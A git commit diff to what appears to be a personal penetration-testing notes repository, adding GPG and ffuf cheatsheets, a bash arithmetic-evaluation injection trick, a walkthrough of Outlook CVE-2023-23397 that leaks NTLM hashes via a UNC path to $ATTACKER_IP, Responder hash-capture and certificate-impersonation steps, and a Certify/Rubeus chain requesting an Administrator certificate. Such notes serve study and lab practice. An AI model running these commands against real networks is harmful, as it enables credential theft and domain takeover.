This commit is contained in:
Stefan Friese 2023-03-25 15:31:51 +01:00
parent 5f83ee9efd
commit f1668bdc2a
9 changed files with 130 additions and 0 deletions

View File

@ -1,5 +1,12 @@
# GPG Cheatsheet # GPG Cheatsheet
## Generate Keypair
* Generating a keypair via gpg
```sh
gpg --gen-key
```
## Encryption via GPG ## Encryption via GPG
* Encryption of a file via gpg * Encryption of a file via gpg
@ -21,4 +28,9 @@ gpg --armor --symmetric --cipher-algo <algorithm> $PLAIN_TEXT
gpg --output original_message.txt --decrypt $CIPHER gpg --output original_message.txt --decrypt $CIPHER
``` ```
## Encrypt & Sign an eMail
* Encryption and siging via gpg is done in the following way
```sh
gpg --encrypt --sign --armor -r bill.gates@microsoft.com message.txt
```

View File

@ -7,6 +7,7 @@
### Online Tools ### Online Tools
* [SSLshopper](https://www.tryhackme.com/)
* [cryptool](https://cryptool.org) * [cryptool](https://cryptool.org)
* [quipquip](https://quipquip.com) * [quipquip](https://quipquip.com)
* [cryptii](https://cryptii.com/) * [cryptii](https://cryptii.com/)

View File

@ -14,18 +14,31 @@
### Fuzz Faster U Fool ### Fuzz Faster U Fool
* Simple Fuzzing
```sh ```sh
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/big.txt
``` ```
* Fuzz dirs * Fuzz dirs
```sh ```sh
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
``` ```
* Fuzz files * Fuzz files
```sh ```sh
ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt ffuf -u http://<IP>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.txt
``` ```
* Fuzz all existing websites regardless of HTTP status
```sh
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://$IP/FUZZ -fs 0 -mc all
```
* Fuzz with other HTTP methods like POST
```sh
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://$IP/FUZZ -fs $SIZE -mc all -C POST
```
#### Fuzz parameters #### Fuzz parameters
```sh ```sh

14
Exploits/Linux/Bash.md Normal file
View File

@ -0,0 +1,14 @@
# Bash Exploit Possibilities
## Eval
## Test
Test includes `-eq`. It can be used to execute code which is evaluated before the comparison. [Vidarholen](https://www.vidarholen.net/contents/blog/?p=716) show examples on how to do it.
An example is the following
```sh
num=a[$(date >&2)]+42
```
`date` get executed and the test `[[ $num -eq 42 ]]` gets evaluated to true

View File

@ -0,0 +1,33 @@
# Outlook Exploits
## CVE-2023-23397
Create an Appointment with a custom and malicious reminder sound. The sound file download uses __Universal Naming Convention (UNC)__ paths to refrence the file. The file is stored on a server controlled by the attacker. Goal is to get the NTLM(v2) Hashes. There needs to be no interaction by the target.
Therefore, __PidLidReminderFileParameter__ have to be altered containing the UNC, for example `\\$ATTACKER_IP:$ATTACKER_PORT\payload.wav`. The source of the file may use __SMB__ or __WebDAV__.
Further, __PidLidReminderOverride__ has to be set to __true__.
### Usage
`New Appointment` --> set `Reminder` to 0 minutes.
`Outlook Spy` plugin is needed. Go to `OutlookSpy` tab, press `CurrentItem` and go to `Script`
Set the following variables:
```vbscript
AppointmentItem.ReminderOverrideDefault = true
AppointmentItem.ReminderPlaySound = true
AppointmentItem.ReminderSoundFile = "\\$ATTACKER_IP\payloads\alert.wav"
```
* Set up `responder -I <interface>` to catch the NTLM hash.
Press `Run` to save the variables. Send the appointment afterwards.
### Resources
* [api0cradle's Powershell POC](https://github.com/api0cradle/CVE-2023-23397-POC-Powershell.git)

View File

@ -5,6 +5,36 @@
Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication
## Usage ## Usage
### Grab NTLM Token
* Setup responder
```sh ```sh
responder -I tun0 -wrvd responder -I tun0 -wrvd
``` ```
* Open an Shell on the windows target and request the attacker's SMB a.k.a responder
```sh
dir \\$ATTACKER_IP\C$
```
### Impersonate Domain -- Change Responder's certificates
* After using nsupdate to add the attacker as a subdomain do the following tasks
* Add a certificate and its private key to
```sh
/usr/share/responder/certs
```
* Edit `Responder.conf`
```
[HTTPS Server]
; Configure SSL Certificates to use
SSLCert = certs/cert.pem
SSLKey = certs/key.pem
```
* Start responder
```sh
responder -I <interface>
```

View File

@ -115,3 +115,23 @@ bloodhound --no-sandbox
## PowerView ## PowerView
## WMI ## WMI
## Find Certifications and Private Keys
Certification Services can be found with [the Certify tool](https://github.com/GhostPack/Certify.git).
* Enumerate vunerabilities on the current user via Certify, use `FullName` found in the first step to insert domain in the second step
```sh
Certify.exe find /vulnerable /currentuser
.\Certify.exe request /ca:$FULL_NAME /template:UserAuthentication /altname:Administrator
```
* Copy the found key and convert it like mentioned in the last line of the ouptut, for example
```sh
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Get ticket with the the loot via Rubeus
```
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials
```

View File

@ -1,4 +1,10 @@
# Miscellaneous References # Miscellaneous References
## Static Binaries ## Static Binaries
[andrew-d's statically compiles binary compilation](https://github.com/andrew-d/static-binaries.git) [andrew-d's statically compiles binary compilation](https://github.com/andrew-d/static-binaries.git)
## SuperTool
* [SuperTool](https://mxtoolbox.com/SuperTool.aspx)

View File

@ -9,6 +9,7 @@
* [privescheck](https://github.com/itm4n/PrivescCheck) * [privescheck](https://github.com/itm4n/PrivescCheck)
* [windows exploit suggester](https://github.com/bitsadmin/wesng) * [windows exploit suggester](https://github.com/bitsadmin/wesng)
* [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) * [hacktricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)
* [Privilege Escalation Runbook](https://xorond.com/posts/2021/04/windows-local-privilege-escalation/)
## Account Types ## Account Types